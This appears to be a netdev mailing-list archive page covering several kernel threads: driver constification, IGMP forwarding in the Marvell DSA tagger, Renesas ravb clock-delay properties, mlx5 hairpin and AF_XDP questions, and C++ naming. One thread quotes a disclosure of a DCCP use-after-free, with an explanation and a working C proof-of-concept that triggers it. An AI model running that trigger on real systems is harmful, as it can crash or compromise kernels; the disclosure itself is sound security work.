diff --git a/drivers/net/dsa/sja1105/sja1105_dynamic_config.h b/drivers/net/dsa/sja1105/sja1105_dynamic_config.h
index 1fc0d13dc623..28d4eb5efb8b 100644
--- a/drivers/net/dsa/sja1105/sja1105_dynamic_config.h
+++ b/drivers/net/dsa/sja1105/sja1105_dynamic_config.h
@@ -34,7 +34,7 @@ struct sja1105_mgmt_entry {
u64 index;
};
-extern struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN];
-extern struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN];
+extern const struct sja1105_dynamic_table_ops sja1105et_dyn_ops[BLK_IDX_MAX_DYN];
+extern const struct sja1105_dynamic_table_ops sja1105pqrs_dyn_ops[BLK_IDX_MAX_DYN];
#endif
diff --git a/drivers/net/dsa/sja1105/sja1105_static_config.c b/drivers/net/dsa/sja1105/sja1105_static_config.c
index fb44c0a72285..139b7b4fbd0d 100644
--- a/drivers/net/dsa/sja1105/sja1105_static_config.c
+++ b/drivers/net/dsa/sja1105/sja1105_static_config.c
@@ -838,7 +838,7 @@ sja1105_static_config_get_length(const struct sja1105_static_config *config)
/* Compatibility matrices */
/* SJA1105E: First generation, no TTEthernet */
-struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105et_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -908,7 +908,7 @@ struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX] = {
};
/* SJA1105T: First generation, TTEthernet */
-struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_SCHEDULE] = {
.packing = sja1105_schedule_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_schedule_entry),
@@ -1026,7 +1026,7 @@ struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX] = {
};
/* SJA1105P: Second generation, no TTEthernet, no SGMII */
-struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105pqrs_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -1096,7 +1096,7 @@ struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX] = {
};
/* SJA1105Q: Second generation, TTEthernet, no SGMII */
-struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_SCHEDULE] = {
.packing = sja1105_schedule_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_schedule_entry),
@@ -1214,7 +1214,7 @@ struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX] = {
};
/* SJA1105R: Second generation, no TTEthernet, SGMII */
-struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_L2_LOOKUP] = {
.packing = sja1105pqrs_l2_lookup_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_l2_lookup_entry),
@@ -1284,7 +1284,7 @@ struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX] = {
};
/* SJA1105S: Second generation, TTEthernet, SGMII */
-struct sja1105_table_ops sja1105s_table_ops[BLK_IDX_MAX] = {
+const struct sja1105_table_ops sja1105s_table_ops[BLK_IDX_MAX] = {
[BLK_IDX_SCHEDULE] = {
.packing = sja1105_schedule_entry_packing,
.unpacked_entry_size = sizeof(struct sja1105_schedule_entry),
diff --git a/drivers/net/dsa/sja1105/sja1105_static_config.h b/drivers/net/dsa/sja1105/sja1105_static_config.h
index ee0f10062763..bc7606899289 100644
--- a/drivers/net/dsa/sja1105/sja1105_static_config.h
+++ b/drivers/net/dsa/sja1105/sja1105_static_config.h
@@ -381,12 +381,12 @@ struct sja1105_static_config {
struct sja1105_table tables[BLK_IDX_MAX];
};
-extern struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX];
-extern struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX];
-extern struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX];
-extern struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX];
-extern struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX];
-extern struct sja1105_table_ops sja1105s_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105e_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105t_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105p_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105q_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105r_table_ops[BLK_IDX_MAX];
+extern const struct sja1105_table_ops sja1105s_table_ops[BLK_IDX_MAX];
size_t sja1105_table_header_packing(void *buf, void *hdr, enum packing_op op);
void
--
2.25.1
^ permalink raw reply related
* Re: DCCP Bug report
From: Dan Carpenter @ 2020-06-20 17:34 UTC (permalink / raw)
To: Leonardo Almiñana; +Cc: leonardo.alminana, security, netdev
In-Reply-To: <CANgvvt4Wi6nFJxufDFEbgW1YPwdV4wXeCgn-yu673D9oRoHJaw@mail.gmail.com>
This one is already publicly known because syzbot discovered it last
November. I have added netdev to the CC list. Unfortunately, DCCP
seems orphaned.
https://lore.kernel.org/lkml/20191121201433.GD617@kadam/
regards,
dan carpenter
On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
> A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.
>
> When a DCCP socket connection happens one of the functions called is
> dccp_hdlr_ccid.
>
> static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
> {
> struct dccp_sock *dp = dccp_sk(sk);
> struct ccid *new_ccid = ccid_new(ccid, sk, rx);
>
> if (new_ccid == NULL)
> return -ENOMEM;
>
> if (rx) {
> ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
> dp->dccps_hc_rx_ccid = new_ccid;
> } else {
> ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
> dp->dccps_hc_tx_ccid = new_ccid;
> }
> return 0;
> }
>
> The function allocates a new CCID and assigns it to the sock.
> * If an old CCID is found then it's deleted.
>
> void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
> ccid->ccid_ops->ccid_hc_rx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
> }
> }
>
> void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
> {
> if (ccid != NULL) {
> if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
> ccid->ccid_ops->ccid_hc_tx_exit(sk);
> kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
> }
> }
>
> When the socket is disconnected dccp_disconnect is invoked, this function
> leaves dp->dccps_hc_tx_ccid unaltered.
>
> It is possible to copy the socket including dangling references. To
> accomplish
> it the socket has to be put into LISTEN state.
>
> struct sock *dccp_create_openreq_child(const struct sock *sk,
> const struct request_sock *req,
> const struct sk_buff *skb)
> {
> /*
> * Step 3: Process LISTEN state
> *
> * (* Generate a new socket and switch to that socket *)
> * Set S := new socket for this port pair
> */
>
> struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);
>
> [...]
>
> /*
> * Activate features: initialise CCIDs, sequence windows etc.
> */
> if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
> sk_free_unlock_clone(newsk);
> return NULL;
> }
>
> [...]
> }
>
> The call to inet_csk_clone_lock allocates a new socket and
> the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
> called, which ends up calling dccp_hdlr_ccid.
>
> Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
> to
> destroy the CCID object while the source socket is still holding references
> to
> it. The UAF can be triggered by operating over the CCIDs from the original
> sock
> after the child sock has freed it.
>
>
> Original patch that "fixed" CVE-2017-8824:
> https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76
>
> The patch was broken as it can been seen the following commit:
> https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2
>
> Things were still broken, so ccid_hc_tx_delete was removed :
> https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1
>
> The last patch leaves things almost exactly as they were with CVE-2017-8824.
> The difference is that now only TX is affected, making exploitation harder
> for
> the following reasons:
> - RX's size made it easy to produce kmalloc block collisions, with TX
> it isn't.
> - The actual freeing of the object is deferred and might happen in a
> different
> context because of RCU.
>
>
> Proof of Concept
> ================
>
> #include <stdio.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
>
>
> int main(int argc, char *argv[])
> {
> struct sockaddr_in in1 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xaaaa
> };
>
> struct sockaddr_in in2 =
> {
> .sin_family = AF_INET,
> .sin_port = 0xbbbb
> };
>
> struct sockaddr_in in3 = { 0 };
>
> int fd1 = socket(PF_INET, SOCK_DCCP, 0);
> int fd2 = socket(PF_INET, SOCK_DCCP, 0);
>
> bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
> listen(fd1, 1);
> connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
> connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
> connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
> bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
> listen(fd2, 1);
> connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
> close(fd1);
> close(fd2);
>
> return 0;
> }
>
> ### ### ### ### ### ### ### ### ### ### ### ### ###
>
> Please use my company email for any future communications, I was forced to
> use this one at the moment because your MTA refuses to accept the email
> from our provider (zoho) due to a spamcop related issue.
>
> leonardo.alminana@tacitosecurity.com
>
> Regards.
>
> Leonardo Almiñana
> Tacito Security
^ permalink raw reply
* Re: Question on DSA switches, IGMP forwarding and switchdev
From: Daniel Mack @ 2020-06-20 18:01 UTC (permalink / raw)
To: Andrew Lunn
Cc: Jason Cobham, netdev@vger.kernel.org, Ido Schimmel, Jiri Pirko,
Ivan Vecera, Florian Fainelli
In-Reply-To: <20200620143518.GG304147@lunn.ch>
On 6/20/20 4:35 PM, Andrew Lunn wrote:
>> So yes, we can read the code here, but I'm wondering which packet types
>> would then get this flag set, and which won't. Because in case of
>> IGMP/MLD, the packets are in fact forwarded, but the meaning of the flag
>> in skb is to prevent the skb from being forwarded further, which seems
>> wrong in all cases.
>>
>> I'm thinking maybe the flag should never be set?
>
> It is a while since i did much with multicast, so please correct me
> when i'm wrong...
>
> IGMP can use different group addresses as far as i remember.
> Join/leave uses the group address of interest. But query can use
> 224.0.0.1 or the group address.
>
> The bridge should learn from joins, either spontaneous or as a reply
> to a query. When it sees a join, it should add a multicast FDB to the
> hardware for the group, so traffic is forwarded out that port.
Yes, except it's the MDB in this case. But the bridge must also forward
the IGMP queries and reports to other ports, otherwise a cascaded
multicast router won't see the membership reports and hence won't send
frames to our switch.
> So for real multicast traffic, we do want the flag set, the hardware
> should be doing the forwarding. If we don't set the flag, we end up
> with duplication when the SW bridge also forwards the multicast
> traffic.
Yes, agreed.
> For IGMP/MLD itself, we probably need to see what the switch does. For
> IGMP using the group address, does the multicast FDB rule match and
> cause the hardware to forward the IGMP?
No, because snooping is enabled on all ports of the switch by the
driver, all IGMP frames are redirected to the CPU port and not egressed
on any other port, regardless of the entries in the ATU.
> If yes, then we need the flag
> set, otherwise the IGMP gets duplicated. If no, then we don't want the
> flag set, and leave the SW bridge to do the forwarding,
Exactly.
> or reply
> itself if it is the querier.
If it has memberships itself.
> 6352 uses the EDSA tagger. But the same bits exist in the DSA tag,
> which the 6390 uses, due to incompatibility reasons. So it would be
> nice to extend both taggers.
But the tag format seems to be a bit different on EDSA from what you
described in your other mail. In my datasheet, the code bits are spread
across octet 2 and 3.
I'll send a patch for EDSA that works for me and solves the problem I
had, and then leave it to someone with access to the datasheets of
variants implementing the DSA tagging to replicate and test that.
Thanks for your help!
Daniel
^ permalink raw reply
* Re: [PATCH/RFC 1/5] dt-bindings: net: renesas,ravb: Document internal clock delay properties
From: Sergei Shtylyov @ 2020-06-20 18:15 UTC (permalink / raw)
To: Geert Uytterhoeven, David S . Miller, Jakub Kicinski, Rob Herring
Cc: Andrew Lunn, Oleksij Rempel, Philippe Schenker, Florian Fainelli,
Heiner Kallweit, Kazuya Mizuguchi, Wolfram Sang, netdev,
devicetree, linux-renesas-soc
In-Reply-To: <20200619191554.24942-2-geert+renesas@glider.be>
Hello!
On 06/19/2020 10:15 PM, Geert Uytterhoeven wrote:
> Some EtherAVB variants support internal clock delay configuration, which
> can add larger delays than the delays that are typically supported by
> the PHY (using an "rgmii-*id" PHY mode, and/or "[rt]xc-skew-ps"
> properties).
>
> Add properties for configuring the internal MAC delays.
> These properties are mandatory, even when specified as zero, to
> distinguish between old and new DTBs.
>
> Update the example accordingly.
>
> Signed-off-by: Geert Uytterhoeven <geert+renesas@glider.be>
> ---
> .../devicetree/bindings/net/renesas,ravb.txt | 29 ++++++++++---------
> 1 file changed, 16 insertions(+), 13 deletions(-)
>
> diff --git a/Documentation/devicetree/bindings/net/renesas,ravb.txt b/Documentation/devicetree/bindings/net/renesas,ravb.txt
> index 032b76f14f4fdb38..488ada78b6169b8e 100644
> --- a/Documentation/devicetree/bindings/net/renesas,ravb.txt
> +++ b/Documentation/devicetree/bindings/net/renesas,ravb.txt
> @@ -64,6 +64,18 @@ Optional properties:
> AVB_LINK signal.
> - renesas,ether-link-active-low: boolean, specify when the AVB_LINK signal is
> active-low instead of normal active-high.
> +- renesas,rxc-delay-ps: Internal RX clock delay.
> + This property is mandatory and valid only on R-Car Gen3
> + and RZ/G2 SoCs.
> + Valid values are 0 and 1800.
> + A non-zero value is allowed only if phy-mode = "rgmii".
> + Zero is not supported on R-Car D3.
Hm, where did you see about the D3 limitation?
> +- renesas,txc-delay-ps: Internal TX clock delay.
> + This property is mandatory and valid only on R-Car H3,
> + M3-W, M3-W+, M3-N, V3M, and V3H, and RZ/G2M and RZ/G2N.
> + Valid values are 0 and 2000.
> + A non-zero value is allowed only if phy-mode = "rgmii".
> + Zero is not supported on R-Car V3H.
Same question about V3H here...
[...]
> @@ -105,8 +117,10 @@ Example:
> "ch24";
> clocks = <&cpg CPG_MOD 812>;
> power-domains = <&cpg>;
> - phy-mode = "rgmii-id";
> + phy-mode = "rgmii";
> phy-handle = <&phy0>;
> + renesas,rxc-delay-ps = <0>;
Mhm, zero RX delay in RGMII-ID mode?
> + renesas,txc-delay-ps = <2000>;
>
> pinctrl-0 = <ðer_pins>;
> pinctrl-names = "default";
> @@ -115,18 +129,7 @@ Example:
> #size-cells = <0>;
>
> phy0: ethernet-phy@0 {
> - rxc-skew-ps = <900>;
> - rxdv-skew-ps = <0>;
> - rxd0-skew-ps = <0>;
> - rxd1-skew-ps = <0>;
> - rxd2-skew-ps = <0>;
> - rxd3-skew-ps = <0>;
> - txc-skew-ps = <900>;
> - txen-skew-ps = <0>;
> - txd0-skew-ps = <0>;
> - txd1-skew-ps = <0>;
> - txd2-skew-ps = <0>;
> - txd3-skew-ps = <0>;
> + rxc-skew-ps = <1500>;
Ah, you're relying on a PHY?
[...]
MBR, Sergei
^ permalink raw reply
* [PATCH] dsa: Allow forwarding of redirected IGMP traffic
From: Daniel Mack @ 2020-06-20 18:17 UTC (permalink / raw)
To: netdev; +Cc: jcobham, andrew, Daniel Mack
The driver for Marvell switches puts all ports in IGMP snooping mode
which results in all IGMP/MLD frames that ingress on the ports to be
forwarded to the CPU only.
The bridge code in the kernel can then interpret these frames and act
upon them, for instance by updating the mdb in the switch to reflect
multicast memberships of stations connected to the ports. However,
the IGMP/MLD frames must then also be forwarded to other ports of the
bridge so external IGMP queriers can track membership reports, and
external multicast clients can receive query reports from foreign IGMP
queriers.
Currently, this is impossible as the EDSA tagger sets offload_fwd_mark
on the skb when it unwraps the tagged frames, and that will make the
switchdev layer prevent the skb from egressing on any other port of
the same switch.
To fix that, look at the To_CPU code in the DSA header and make
forwarding of the frame possible for trapped IGMP packets.
This was tested on a Marvell 88E6352 variant.
Signed-off-by: Daniel Mack <daniel@zonque.org>
---
net/dsa/tag_edsa.c | 14 +++++++++++++-
1 file changed, 13 insertions(+), 1 deletion(-)
diff --git a/net/dsa/tag_edsa.c b/net/dsa/tag_edsa.c
index e8eaa804ccb9e..b7cb5dac46c3e 100644
--- a/net/dsa/tag_edsa.c
+++ b/net/dsa/tag_edsa.c
@@ -79,6 +79,7 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
u8 *edsa_header;
int source_device;
int source_port;
+ int to_cpu_code;
if (unlikely(!pskb_may_pull(skb, EDSA_HLEN)))
return NULL;
@@ -100,6 +101,11 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
source_device = edsa_header[0] & 0x1f;
source_port = (edsa_header[1] >> 3) & 0x1f;
+ /*
+ * Determine the kind of the frame
+ */
+ to_cpu_code = (edsa_header[1] & 0x6) | ((edsa_header[2] >> 4) & 1);
+
skb->dev = dsa_master_find_slave(dev, source_device, source_port);
if (!skb->dev)
return NULL;
@@ -156,7 +162,13 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
2 * ETH_ALEN);
}
- skb->offload_fwd_mark = 1;
+ /*
+ * Mark the frame to never egress on any port of the same switch
+ * unless it's a trapped IGMP/MLD packet, in which case the bridge
+ * might want to forward it.
+ */
+ if (to_cpu_code != 0x02)
+ skb->offload_fwd_mark = 1;
return skb;
}
--
2.26.2
^ permalink raw reply related
* Re: [PATCH] linux++, this: rename "struct notifier_block *this"
From: Linus Torvalds @ 2020-06-20 18:16 UTC (permalink / raw)
To: Alexey Dobriyan; +Cc: Linux Kernel Mailing List, Netdev, linux-arch, NetFilter
In-Reply-To: <20200620075732.GA468070@localhost.localdomain>
On Sat, Jun 20, 2020 at 12:57 AM Alexey Dobriyan <adobriyan@gmail.com> wrote:
>
> > If you want to build the kernel with C++, you'd be a lot better off just doing
> >
> > /* C++ braindamage */
> > #define this __this
> > #define new __new
> >
> > and deal with that instead.
>
> Can't do this because of placement new.
Can you explain?
> > Because no, the 'new' renaming will never happen, and while 'this'
> > isn't nearly as common or relevant a name, once you have the same
> > issue with 'new', what's the point of trying to deal with 'this'?
>
> I'm not sending "new".
My point about 'new' is that
(a) there's a lot more 'new' than 'this'
(b) without dealing with 'new', dealing with 'this' is pointless
So why bother? Without some kind of pre-processing phase to make our C
code palatable to a C++ parser, it will never work.
And if you _do_ have a pre-processing phase (which might be a #define,
but might also be a completely separate pass with some special tool),
converting 'this' in the kernel sources isn't useful anyway, because
you could just do it in the pre-processing phase instead.
See? THAT is why I'm harping on 'new'. Not because you sent me a patch
to deal with 'new', but because such a patch will never be accepted,
and without that patch the pain from 'this' seems entirely irrelevant.
What's your plan for 'new'? And why doesn't that plan then work for 'this'?
Linus
^ permalink raw reply
* Re: [PATCH/RFC 2/5] ravb: Split delay handling in parsing and applying
From: Sergei Shtylyov @ 2020-06-20 18:34 UTC (permalink / raw)
To: Geert Uytterhoeven, David S . Miller, Jakub Kicinski, Rob Herring
Cc: Andrew Lunn, Oleksij Rempel, Philippe Schenker, Florian Fainelli,
Heiner Kallweit, Kazuya Mizuguchi, Wolfram Sang, netdev,
devicetree, linux-renesas-soc
In-Reply-To: <20200619191554.24942-3-geert+renesas@glider.be>
On 06/19/2020 10:15 PM, Geert Uytterhoeven wrote:
> Currently, full delay handling is done in both the probe and resume
> paths. Split it in two parts, so the resume path doesn't have to redo
> the parsing part over and over again.
>
> Signed-off-by: Geert Uytterhoeven <geert+renesas@glider.be>
Reviewed-by: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
[...]
MBR, Sergei
^ permalink raw reply
* Re: mlx5e uplink hairpin forwarding
From: Eli Cohen @ 2020-06-20 18:35 UTC (permalink / raw)
To: Tonghao Zhang; +Cc: ozsh, Saeed Mahameed, Linux Kernel Network Developers
In-Reply-To: <CAMDZJNXW-SsgYiw8j1b5Rv8PhfGt=TxZZKjCPzsQWiADjy6zew@mail.gmail.com>
On Sat, Jun 20, 2020 at 08:02:19PM +0800, Tonghao Zhang wrote:
> Hi Eli
>
> I review your patches and try to test it.
> $ tc filter add dev enp130s0f0 protocol ip prio 1 root flower dst_ip
> 11.12.13.14 skip_sw action mirred egress redirect dev enp130s0f1
> or
> $ tc filter add dev enp130s0f0 protocol ip prio 1 parent ffff: flower
> dst_ip 11.12.13.14 skip_sw action mirred egress redirect dev
> enp130s0f1
>
> TC can't install the rules above. The error message:
> mlx5_core: devices are both uplink, can't offload forwarding.
>
> So how can I install hairpin rules between uplink and uplink forwarding ?
>
> The test environment
> kernel 5.8.0-rc1+, the last commit id:69119673bd50b176ded34032fadd41530fb5af21
> NIC MCX512A-ACA_Ax
> FW 16.27.2008
> enp130s0f0、enp130s0f1 are uplink rep.
>
Hi Tonghao,
please note that hairpin is supported on the same uplink representor.
You cannot hairpin from one uplink to another.
^ permalink raw reply
* Re: net/mlx5e: bind() always returns EINVAL with XDP_ZEROCOPY
From: Jonathan Lemon @ 2020-06-20 18:42 UTC (permalink / raw)
To: Kal Cutter Conley
Cc: Saeed Mahameed, brouer@redhat.com, Maxim Mikityanskiy,
magnus.karlsson@intel.com, toke.hoiland-jorgensen@kau.se,
xdp-newbies@vger.kernel.org, Tariq Toukan, gospo@broadcom.com,
netdev@vger.kernel.org, bjorn.topel@intel.com
In-Reply-To: <CAHApi-kMwnvRwJO8LT2UtrixVSd_bDgWybOP6H_eLTBmSFsd4A@mail.gmail.com>
On Sat, Jun 20, 2020 at 12:42:36PM +0200, Kal Cutter Conley wrote:
> On Thu, Jun 18, 2020 at 5:23 PM Jonathan Lemon <jonathan.lemon@gmail.com> wrote:
> >
> > On Sun, Jun 14, 2020 at 10:55:30AM +0200, Kal Cutter Conley wrote:
> > > Hi Saeed,
> > > Thanks for explaining the reasoning behind the special mlx5 queue
> > > numbering with XDP zerocopy.
> > >
> > > We have a process using AF_XDP that also shares the network interface
> > > with other processes on the system. ethtool rx flow classification
> > > rules are used to route the traffic to the appropriate XSK queue
> > > N..(2N-1). The issue is these queues are only valid as long they are
> > > active (as far as I can tell). This means if my AF_XDP process dies
> > > other processes no longer receive ingress traffic routed over queues
> > > N..(2N-1) even though my XDP program is still loaded and would happily
> > > always return XDP_PASS. Other drivers do not have this usability issue
> > > because they use queues that are always valid. Is there a simple
> > > workaround for this issue? It seems to me queues N..(2N-1) should
> > > simply map to 0..(N-1) when they are not active?
> >
> > If your XDP program returns XDP_PASS, the packet should be delivered to
> > the xsk socket. If the application isn't running, where would it go?
> >
> > I do agree that the usability of this can be improved. What if the flow
> > rules are inserted and removed along with queue creatioin/destruction?
>
> I think I misunderstood your suggestion here. Do you mean the rules
> should be inserted / removed on the hardware level but still show in
> ethtool even if they are not active in the hardware? In this case the
> rules always occupy a "location" but just never apply if the
> respective queues are not "enabled". I think this would be the best
> possible solution.
No, that wasn't what I was suggesting. I would think that having
ethtool return something that isn't true woulld be really confusing -
either the rules are enabled and active, or they should not be there.
I was thinking more along the lines of having the flow rules inserted
and removed when the queue is created/destroyed, so the steering rule is
a property of the queue itself rather than maintained externally through
ethtool.
--
Jonathan
^ permalink raw reply
* Re: [PATCH/RFC 3/5] ravb: Add support for explicit internal clock delay configuration
From: Sergei Shtylyov @ 2020-06-20 19:03 UTC (permalink / raw)
To: Geert Uytterhoeven, David S . Miller, Jakub Kicinski, Rob Herring
Cc: Andrew Lunn, Oleksij Rempel, Philippe Schenker, Florian Fainelli,
Heiner Kallweit, Kazuya Mizuguchi, Wolfram Sang, netdev,
devicetree, linux-renesas-soc
In-Reply-To: <20200619191554.24942-4-geert+renesas@glider.be>
On 06/19/2020 10:15 PM, Geert Uytterhoeven wrote:
> Some EtherAVB variants support internal clock delay configuration, which
> can add larger delays than the delays that are typically supported by
> the PHY (using an "rgmii-*id" PHY mode, and/or "[rt]xc-skew-ps"
> properties).
>
> Historically, the EtherAVB driver configured these delays based on the
> "rgmii-*id" PHY mode. This caused issues with PHY drivers that
> implement PHY internal delays properly[1]. Hence a backwards-compatible
> workaround was added by masking the PHY mode[2].
>
> Add proper support for explicit configuration of the MAC internal clock
> delays using the new "renesas,[rt]xc-delay-ps" properties.
> Fall back to the old handling if none of these properties is present.
>
> [1] Commit bcf3440c6dd78bfe ("net: phy: micrel: add phy-mode support for
> the KSZ9031 PHY")
> [2] Commit 9b23203c32ee02cd ("ravb: Mask PHY mode to avoid inserting
> delays twice").
>
> Signed-off-by: Geert Uytterhoeven <geert+renesas@glider.be>
Reviewed-by: Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>
> ---
> drivers/net/ethernet/renesas/ravb.h | 1 +
> drivers/net/ethernet/renesas/ravb_main.c | 35 ++++++++++++++++++------
> 2 files changed, 27 insertions(+), 9 deletions(-)
>
> diff --git a/drivers/net/ethernet/renesas/ravb.h b/drivers/net/ethernet/renesas/ravb.h
> index e5ca12ce93c730a9..7453b17a37a2c8d0 100644
> --- a/drivers/net/ethernet/renesas/ravb.h
> +++ b/drivers/net/ethernet/renesas/ravb.h
> @@ -1038,6 +1038,7 @@ struct ravb_private {
> unsigned wol_enabled:1;
> unsigned rxcidm:1; /* RX Clock Internal Delay Mode */
> unsigned txcidm:1; /* TX Clock Internal Delay Mode */
> + unsigned rgmii_override:1; /* Deprecated rgmii-*id behavior */
> int num_tx_desc; /* TX descriptors per packet */
> };
>
> diff --git a/drivers/net/ethernet/renesas/ravb_main.c b/drivers/net/ethernet/renesas/ravb_main.c
> index f326234d1940f43e..0582846bec7726b6 100644
> --- a/drivers/net/ethernet/renesas/ravb_main.c
> +++ b/drivers/net/ethernet/renesas/ravb_main.c
[...]
> @@ -1967,20 +1963,41 @@ static const struct soc_device_attribute ravb_delay_mode_quirk_match[] = {
> };
>
> /* Set tx and rx clock internal delay modes */
> -static void ravb_parse_delay_mode(struct net_device *ndev)
> +static void ravb_parse_delay_mode(struct device_node *np, struct net_device *ndev)
> {
> struct ravb_private *priv = netdev_priv(ndev);
> + bool explicit_delay = false;
> + u32 delay;
> +
> + if (!of_property_read_u32(np, "renesas,rxc-delay-ps", &delay)) {
> + /* Valid values are 0 and 1800, according to DT bindings */
> + priv->rxcidm = !!delay;
> + explicit_delay = true;
> + }
> + if (!of_property_read_u32(np, "renesas,txc-delay-ps", &delay)) {
> + /* Valid values are 0 and 2000, according to DT bindings */
> + priv->txcidm = !!delay;
> + explicit_delay = true;
> + }
>
> + if (explicit_delay)
> + return;
> +
> + /* Fall back to legacy rgmii-*id behavior */
> if (priv->phy_interface == PHY_INTERFACE_MODE_RGMII_ID ||
> - priv->phy_interface == PHY_INTERFACE_MODE_RGMII_RXID)
> + priv->phy_interface == PHY_INTERFACE_MODE_RGMII_RXID) {
> priv->rxcidm = true;
> + priv->rgmii_override = true;
Mhm, these fields are not bool...
> + }
>
> if (priv->phy_interface == PHY_INTERFACE_MODE_RGMII_ID ||
> priv->phy_interface == PHY_INTERFACE_MODE_RGMII_TXID) {
> if (!WARN(soc_device_match(ravb_delay_mode_quirk_match),
> "phy-mode %s requires TX clock internal delay mode which is not supported by this hardware revision. Please update device tree",
> - phy_modes(priv->phy_interface)))
> + phy_modes(priv->phy_interface))) {
> priv->txcidm = true;
> + priv->rgmii_override = true;
Same here...
[...]
MBR, Sergei
^ permalink raw reply
* Re: [PATCH] dsa: Allow forwarding of redirected IGMP traffic
From: Andrew Lunn @ 2020-06-20 19:05 UTC (permalink / raw)
To: Daniel Mack; +Cc: netdev, jcobham
In-Reply-To: <20200620181714.3151501-1-daniel@zonque.org>
On Sat, Jun 20, 2020 at 08:17:14PM +0200, Daniel Mack wrote:
> The driver for Marvell switches puts all ports in IGMP snooping mode
> which results in all IGMP/MLD frames that ingress on the ports to be
> forwarded to the CPU only.
>
> The bridge code in the kernel can then interpret these frames and act
> upon them, for instance by updating the mdb in the switch to reflect
> multicast memberships of stations connected to the ports. However,
> the IGMP/MLD frames must then also be forwarded to other ports of the
> bridge so external IGMP queriers can track membership reports, and
> external multicast clients can receive query reports from foreign IGMP
> queriers.
>
> Currently, this is impossible as the EDSA tagger sets offload_fwd_mark
> on the skb when it unwraps the tagged frames, and that will make the
> switchdev layer prevent the skb from egressing on any other port of
> the same switch.
>
> To fix that, look at the To_CPU code in the DSA header and make
> forwarding of the frame possible for trapped IGMP packets.
>
> This was tested on a Marvell 88E6352 variant.
>
> Signed-off-by: Daniel Mack <daniel@zonque.org>
A Fixes: tag would be good, probably for when basic IGMP snooping
support was added to the mv88e6xxx driver.
> ---
> net/dsa/tag_edsa.c | 14 +++++++++++++-
> 1 file changed, 13 insertions(+), 1 deletion(-)
>
> diff --git a/net/dsa/tag_edsa.c b/net/dsa/tag_edsa.c
> index e8eaa804ccb9e..b7cb5dac46c3e 100644
> --- a/net/dsa/tag_edsa.c
> +++ b/net/dsa/tag_edsa.c
> @@ -79,6 +79,7 @@ static struct sk_buff *edsa_rcv(struct sk_buff *skb, struct net_device *dev,
> u8 *edsa_header;
> int source_device;
> int source_port;
> + int to_cpu_code;
>
